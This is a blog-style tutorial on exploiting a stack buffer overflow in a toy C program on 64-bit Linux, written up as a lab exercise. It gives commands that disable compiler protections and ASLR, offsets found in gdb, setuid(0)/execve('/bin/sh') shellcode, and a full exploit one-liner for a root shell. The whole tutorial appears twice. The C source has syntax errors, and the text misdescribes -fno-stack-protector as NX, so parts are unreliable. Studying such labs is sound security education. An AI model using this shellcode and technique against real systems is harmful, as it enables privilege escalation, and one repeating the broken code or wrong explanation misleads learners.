Buffer Overflow Part 1 (64 bit machine)
Code:
hello.c
For the following code, we compile with
gcc hello.c -fno-stack-protector -z execstack -g3
-fno-stack-protector - no stack protection (NX)
-z execstack - allows execution of instructions on the stack
We also need to disable ASLR by running the following command as root:
After which when we run the following we get
[roland@localhost ~]$ ./a.out HelloWorld
Hello you passed in parameter HelloWorld
Address is at: 0x7fffffffe530
When we run a.out using gdb
we can break at the main and take a look at the buf address by using
p &buf
$1 = (char (*)[80]) 0x7fffffffe4b0
Notice that for gdb, the address is different from that when running it without gdb.
When we finish running the instruction "leave", we do a "info register" or "i r"
to get the rsp which shows 0x7fffffffe510.
This is the address which stores the value of the instruction to return to.
To know how much data to write, we can use 0x7fffffffe510 - 0x7fffffffe4b0
This is 96 bytes including <instructions><extra bytes><return address>
Our return address is in fact the address that stores the <instructions> i.e. 0x7fffffffe4b0
However since we will be using python to write the data, we have to write it in this manner:
\xb0\xe4\xff\xff\xff\x7f
Our instructions will have to be able to set UID to 0 and also call execve to run /bin/sh
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
Note that this is 48 bytes and our return address is 8 bytes. This is a total of 56 bytes which is not enough. We need to fill the rest of the <extra bytes> with "A" which needs to be 40 bytes
<48 bytes> <40 bytes> <8 bytes>
Lastly when we run
./a.out $(python -c 'print "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" + "A" * 40 + "\xb0\xe4\xff\xff\xff\x7f"')
we will be able to get a root shell
To check that you're root, type whoami
root
hello.c
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buf[80];
strcpy(buf, argv[1];
printf ("Hello you passed in parameter %s\n", argv[1];
printf ("Address is at: %p\n", (void*)buf);
return 0;
}
For the following code, we compile with
gcc hello.c -fno-stack-protector -z execstack -g3
-fno-stack-protector - no stack protection (NX)
-z execstack - allows execution of instructions on the stack
We also need to disable ASLR by running the following command as root:
echo 0 > /proc/sys/kernel/randomize_va_space
After which when we run the following we get
[roland@localhost ~]$ ./a.out HelloWorld
Hello you passed in parameter HelloWorld
Address is at: 0x7fffffffe530
When we run a.out using gdb
we can break at the main and take a look at the buf address by using
p &buf
$1 = (char (*)[80]) 0x7fffffffe4b0
Notice that for gdb, the address is different from that when running it without gdb.
When we finish running the instruction "leave", we do a "info register" or "i r"
to get the rsp which shows 0x7fffffffe510.
This is the address which stores the value of the instruction to return to.
To know how much data to write, we can use 0x7fffffffe510 - 0x7fffffffe4b0
This is 96 bytes including <instructions><extra bytes><return address>
Our return address is in fact the address that stores the <instructions> i.e. 0x7fffffffe4b0
However since we will be using python to write the data, we have to write it in this manner:
\xb0\xe4\xff\xff\xff\x7f
Our instructions will have to be able to set UID to 0 and also call execve to run /bin/sh
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
Note that this is 48 bytes and our return address is 8 bytes. This is a total of 56 bytes which is not enough. We need to fill the rest of the <extra bytes> with "A" which needs to be 40 bytes
<48 bytes> <40 bytes> <8 bytes>
Lastly when we run
./a.out $(python -c 'print "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" + "A" * 40 + "\xb0\xe4\xff\xff\xff\x7f"')
we will be able to get a root shell
To check that you're root, type whoami
root
Comments
Post a Comment